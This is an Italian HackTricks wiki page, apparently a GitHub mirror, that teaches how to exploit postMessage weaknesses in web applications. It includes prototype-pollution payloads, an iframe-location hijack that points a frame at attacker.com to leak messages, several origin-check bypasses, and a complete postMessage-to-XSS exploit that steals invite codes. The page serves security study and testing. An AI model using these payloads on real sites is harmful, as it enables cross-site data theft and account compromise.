mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
228 lines
12 KiB
Markdown
228 lines
12 KiB
Markdown
# Vulnerabilità di PostMessage
|
||
|
||
## Vulnerabilità di PostMessage
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|
||
|
||
## Invia **PostMessage**
|
||
|
||
**PostMessage** utilizza la seguente funzione per inviare un messaggio:
|
||
```bash
|
||
targetWindow.postMessage(message, targetOrigin, [transfer]);
|
||
|
||
# postMessage to current page
|
||
window.postMessage('{"__proto__":{"isAdmin":True}}', '*')
|
||
|
||
# postMessage to an iframe with id "idframe"
|
||
<iframe id="idframe" src="http://victim.com/"></iframe>
|
||
document.getElementById('idframe').contentWindow.postMessage('{"__proto__":{"isAdmin":True}}', '*')
|
||
|
||
# postMessage to an iframe via onload
|
||
<iframe src="https://victim.com/" onload="this.contentWindow.postMessage('<script>print()</script>','*')">
|
||
|
||
# postMessage to popup
|
||
win = open('URL', 'hack', 'width=800,height=300,top=500');
|
||
win.postMessage('{"__proto__":{"isAdmin":True}}', '*')
|
||
|
||
# postMessage to an URL
|
||
window.postMessage('{"__proto__":{"isAdmin":True}}', 'https://company.com')
|
||
|
||
# postMessage to iframe inside popup
|
||
win = open('URL-with-iframe-inside', 'hack', 'width=800,height=300,top=500');
|
||
## loop until win.length == 1 (until the iframe is loaded)
|
||
win[0].postMessage('{"__proto__":{"isAdmin":True}}', '*')
|
||
```
|
||
Nota che **targetOrigin** può essere un '\*' o un URL come _https://company.com._\
|
||
Nello **secondo scenario**, il **messaggio può essere inviato solo a quel dominio** (anche se l'origine dell'oggetto finestra è diversa).\
|
||
Se viene utilizzato il **carattere jolly**, i **messaggi possono essere inviati a qualsiasi dominio**, e saranno inviati all'origine dell'oggetto Window.
|
||
|
||
### Attacco a iframe e carattere jolly in **targetOrigin**
|
||
|
||
Come spiegato in [**questo report**](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/), se trovi una pagina che può essere **iframed** (senza protezione `X-Frame-Header`) e che sta **inviando messaggi sensibili** tramite **postMessage** utilizzando un **carattere jolly** (\*), puoi **modificare** l'**origine** dell'**iframe** e **leakare** il **messaggio sensibile** a un dominio controllato da te.\
|
||
Nota che se la pagina può essere iframed ma il **targetOrigin** è **impostato su un URL e non su un carattere jolly**, questo **trucco non funzionerà**.
|
||
```markup
|
||
<html>
|
||
<iframe src="https://docs.google.com/document/ID" />
|
||
<script>
|
||
setTimeout(exp, 6000); //Wait 6s
|
||
|
||
//Try to change the origin of the iframe each 100ms
|
||
function exp(){
|
||
setInterval(function(){
|
||
window.frames[0].frame[0][2].location="https://attacker.com/exploit.html";
|
||
}, 100);
|
||
}
|
||
</script>
|
||
```
|
||
## sfruttamento di addEventListener
|
||
|
||
**`addEventListener`** è la funzione utilizzata da JS per dichiarare la funzione che **si aspetta `postMessages`**.\
|
||
Un codice simile a quello seguente sarà utilizzato:
|
||
```javascript
|
||
window.addEventListener(
|
||
"message",
|
||
(event) => {
|
||
if (event.origin !== "http://example.org:8080") return
|
||
|
||
// ...
|
||
},
|
||
false
|
||
)
|
||
```
|
||
Nota in questo caso come la **prima cosa** che il codice sta facendo è **controllare l'origine**. Questo è terribilmente **importante** principalmente se la pagina deve fare **qualcosa di sensibile** con le informazioni ricevute (come cambiare una password). **Se non controlla l'origine, gli attaccanti possono far inviare dati arbitrari a questi endpoint** e cambiare le password delle vittime (in questo esempio).
|
||
|
||
### Enumerazione
|
||
|
||
Per **trovare i listener di eventi** nella pagina corrente puoi:
|
||
|
||
- **Cercare** il codice JS per `window.addEventListener` e `$(window).on` (_versione JQuery_)
|
||
- **Eseguire** nella console degli strumenti per sviluppatori: `getEventListeners(window)`
|
||
|
||
 (1).png>)
|
||
|
||
- **Andare a** _Elements --> Event Listeners_ negli strumenti per sviluppatori del browser
|
||
|
||
.png>)
|
||
|
||
- Utilizzare un **estensione del browser** come [**https://github.com/benso-io/posta**](https://github.com/benso-io/posta) o [https://github.com/fransr/postMessage-tracker](https://github.com/fransr/postMessage-tracker). Queste estensioni del browser **intercetteranno tutti i messaggi** e te li mostreranno.
|
||
|
||
### Bypass dei controlli di origine
|
||
|
||
- L'attributo **`event.isTrusted`** è considerato sicuro in quanto restituisce `True` solo per eventi generati da azioni genuine dell'utente. Anche se è difficile da bypassare se implementato correttamente, la sua importanza nei controlli di sicurezza è notevole.
|
||
- L'uso di **`indexOf()`** per la validazione dell'origine negli eventi PostMessage può essere suscettibile a bypass. Un esempio che illustra questa vulnerabilità è:
|
||
|
||
```javascript
|
||
"https://app-sj17.marketo.com".indexOf("https://app-sj17.ma")
|
||
```
|
||
|
||
- Il metodo **`search()`** di `String.prototype.search()` è destinato alle espressioni regolari, non alle stringhe. Passare qualsiasi cosa diversa da una regexp porta a una conversione implicita in regex, rendendo il metodo potenzialmente insicuro. Questo perché in regex, un punto (.) funge da carattere jolly, consentendo di bypassare la validazione con domini appositamente creati. Ad esempio:
|
||
|
||
```javascript
|
||
"https://www.safedomain.com".search("www.s.fedomain.com")
|
||
```
|
||
|
||
- La funzione **`match()`**, simile a `search()`, elabora regex. Se la regex è strutturata in modo improprio, potrebbe essere soggetta a bypass.
|
||
- La funzione **`escapeHtml`** è destinata a sanificare gli input sfuggendo ai caratteri. Tuttavia, non crea un nuovo oggetto sfuggito ma sovrascrive le proprietà dell'oggetto esistente. Questo comportamento può essere sfruttato. In particolare, se un oggetto può essere manipolato in modo tale che la sua proprietà controllata non riconosca `hasOwnProperty`, la `escapeHtml` non funzionerà come previsto. Questo è dimostrato negli esempi seguenti:
|
||
|
||
- Fallimento previsto:
|
||
|
||
```javascript
|
||
result = u({
|
||
message: "'\"<b>\\",
|
||
})
|
||
result.message // "'"<b>\"
|
||
```
|
||
|
||
- Bypassando l'escape:
|
||
|
||
```javascript
|
||
result = u(new Error("'\"<b>\\"))
|
||
result.message // "'"<b>\"
|
||
```
|
||
|
||
Nel contesto di questa vulnerabilità, l'oggetto `File` è notevolmente sfruttabile a causa della sua proprietà `name` di sola lettura. Questa proprietà, quando utilizzata nei modelli, non è sanificata dalla funzione `escapeHtml`, portando a potenziali rischi per la sicurezza.
|
||
|
||
- La proprietà `document.domain` in JavaScript può essere impostata da uno script per accorciare il dominio, consentendo un'applicazione più rilassata della politica di stessa origine all'interno dello stesso dominio padre.
|
||
|
||
### bypass di e.origin == window.origin
|
||
|
||
Quando si incorpora una pagina web all'interno di un **iframe sandboxed** utilizzando %%%%%%, è cruciale comprendere che l'origine dell'iframe sarà impostata su null. Questo è particolarmente importante quando si tratta di **attributi sandbox** e delle loro implicazioni sulla sicurezza e sulla funzionalità.
|
||
|
||
Specificando **`allow-popups`** nell'attributo sandbox, qualsiasi finestra popup aperta dall'interno dell'iframe eredita le restrizioni sandbox del suo genitore. Ciò significa che a meno che l'attributo **`allow-popups-to-escape-sandbox`** non sia incluso, l'origine della finestra popup è anch'essa impostata su `null`, allineandosi con l'origine dell'iframe.
|
||
|
||
Di conseguenza, quando una popup viene aperta in queste condizioni e un messaggio viene inviato dall'iframe alla popup utilizzando **`postMessage`**, sia il mittente che il destinatario hanno le loro origini impostate su `null`. Questa situazione porta a uno scenario in cui **`e.origin == window.origin`** valuta a true (`null == null`), poiché sia l'iframe che la popup condividono lo stesso valore di origine di `null`.
|
||
|
||
Per ulteriori informazioni **leggi**:
|
||
|
||
{{#ref}}
|
||
bypassing-sop-with-iframes-1.md
|
||
{{#endref}}
|
||
|
||
### Bypass di e.source
|
||
|
||
È possibile controllare se il messaggio proviene dalla stessa finestra in cui lo script sta ascoltando (particolarmente interessante per **Content Scripts delle estensioni del browser** per controllare se il messaggio è stato inviato dalla stessa pagina):
|
||
```javascript
|
||
// If it’s not, return immediately.
|
||
if (received_message.source !== window) {
|
||
return
|
||
}
|
||
```
|
||
Puoi forzare **`e.source`** di un messaggio a essere nullo creando un **iframe** che **invia** il **postMessage** e viene **immediatamente eliminato**.
|
||
|
||
Per ulteriori informazioni **leggi:**
|
||
|
||
{{#ref}}
|
||
bypassing-sop-with-iframes-2.md
|
||
{{#endref}}
|
||
|
||
### Bypass dell'header X-Frame
|
||
|
||
Per eseguire questi attacchi, idealmente dovresti essere in grado di **mettere la pagina web della vittima** all'interno di un `iframe`. Ma alcuni header come `X-Frame-Header` possono **prevenire** quel **comportamento**.\
|
||
In quei scenari puoi comunque utilizzare un attacco meno furtivo. Puoi aprire una nuova scheda per l'applicazione web vulnerabile e comunicare con essa:
|
||
```markup
|
||
<script>
|
||
var w=window.open("<url>")
|
||
setTimeout(function(){w.postMessage('text here','*');}, 2000);
|
||
</script>
|
||
```
|
||
### Rubare messaggi inviati al child bloccando la pagina principale
|
||
|
||
Nella seguente pagina puoi vedere come potresti rubare dei **dati postmessage sensibili** inviati a un **child iframe** bloccando la **pagina principale** prima di inviare i dati e abusando di un **XSS nel child** per **leakare i dati** prima che vengano ricevuti:
|
||
|
||
{{#ref}}
|
||
blocking-main-page-to-steal-postmessage.md
|
||
{{#endref}}
|
||
|
||
### Rubare messaggi modificando la posizione dell'iframe
|
||
|
||
Se puoi iframe una pagina web senza X-Frame-Header che contiene un altro iframe, puoi **cambiare la posizione di quel child iframe**, quindi se sta ricevendo un **postmessage** inviato utilizzando un **wildcard**, un attaccante potrebbe **cambiare** quell'iframe **origin** a una pagina **controllata** da lui e **rubare** il messaggio:
|
||
|
||
{{#ref}}
|
||
steal-postmessage-modifying-iframe-location.md
|
||
{{#endref}}
|
||
|
||
### postMessage per Prototype Pollution e/o XSS
|
||
|
||
In scenari in cui i dati inviati tramite `postMessage` vengono eseguiti da JS, puoi **iframe** la **pagina** e **sfruttare** la **prototype pollution/XSS** inviando l'exploit tramite `postMessage`.
|
||
|
||
Un paio di **XSS molto ben spiegati tramite `postMessage`** possono essere trovati in [https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html](https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html)
|
||
|
||
Esempio di un exploit per abusare di **Prototype Pollution e poi XSS** tramite un `postMessage` a un `iframe`:
|
||
```html
|
||
<html>
|
||
<body>
|
||
<iframe
|
||
id="idframe"
|
||
src="http://127.0.0.1:21501/snippets/demo-3/embed"></iframe>
|
||
<script>
|
||
function get_code() {
|
||
document
|
||
.getElementById("iframe_victim")
|
||
.contentWindow.postMessage(
|
||
'{"__proto__":{"editedbymod":{"username":"<img src=x onerror=\\"fetch(\'http://127.0.0.1:21501/api/invitecodes\', {credentials: \'same-origin\'}).then(response => response.json()).then(data => {alert(data[\'result\'][0][\'code\']);})\\" />"}}}',
|
||
"*"
|
||
)
|
||
document
|
||
.getElementById("iframe_victim")
|
||
.contentWindow.postMessage(JSON.stringify("refresh"), "*")
|
||
}
|
||
|
||
setTimeout(get_code, 2000)
|
||
</script>
|
||
</body>
|
||
</html>
|
||
```
|
||
Per **maggiori informazioni**:
|
||
|
||
- Link alla pagina su [**prototype pollution**](../deserialization/nodejs-proto-prototype-pollution/index.html)
|
||
- Link alla pagina su [**XSS**](../xss-cross-site-scripting/index.html)
|
||
- Link alla pagina su [**client side prototype pollution to XSS**](../deserialization/nodejs-proto-prototype-pollution/index.html#client-side-prototype-pollution-to-xss)
|
||
|
||
## Riferimenti
|
||
|
||
- [https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html](https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html)
|
||
- [https://dev.to/karanbamal/how-to-spot-and-exploit-postmessage-vulnerablities-36cd](https://dev.to/karanbamal/how-to-spot-and-exploit-postmessage-vulnerablities-36cd)
|
||
- Per esercitarsi: [https://github.com/yavolo/eventlistener-xss-recon](https://github.com/yavolo/eventlistener-xss-recon)
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|